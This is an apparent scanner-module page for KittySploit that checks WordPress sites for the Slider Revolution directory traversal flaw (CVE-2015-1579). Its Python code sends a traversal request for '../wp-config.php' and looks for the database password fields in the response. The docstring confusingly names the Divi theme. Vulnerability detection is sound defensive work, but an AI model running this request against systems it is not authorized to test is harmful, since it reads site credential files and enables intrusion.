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WordPress Slider Revolution - Local File Disclosure Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote attackers can read arbitrary files via directory traversal in Slider Revolution.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress allows remote attackers to re."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress Slider Revolution - Local File Disclosure Detection',
        'description': 'Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the img parameter in a revslider_show_image action to wp-admin/admin-ajax.php. NOTE: this vulnerability may be a duplicate of CVE-2014-9734.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2015', 'wordpress', 'wp-plugin', 'lfi', 'revslider', 'wp', 'wpscan', 'elegant_themes', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html',
            'https://cxsecurity.com/issue/WLB-2021090129',
            'https://wpscan.com/vulnerability/4b077805-5dc0-4172-970e-cc3d67964f80',
            'https://nvd.nist.gov/vuln/detail/CVE-2015-1579',
            'https://wpvulndb.com/vulnerabilities/7540',
        ],
        'cve': 'CVE-2015-1579',
    }

    def run(self):
        for path in ('/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php', '/blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'):
            r = self.http_request(method="GET", path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            body_all = ("'DB_NAME'", "'DB_PASSWORD'", "'DB_USER'",)
            if (all(m in body for m in body_all)):
                self.set_info(
                    severity='medium',
                    reason="WordPress Slider Revolution - Local File Disclosure detected",
                    path=path,
                )
                return True
        return False

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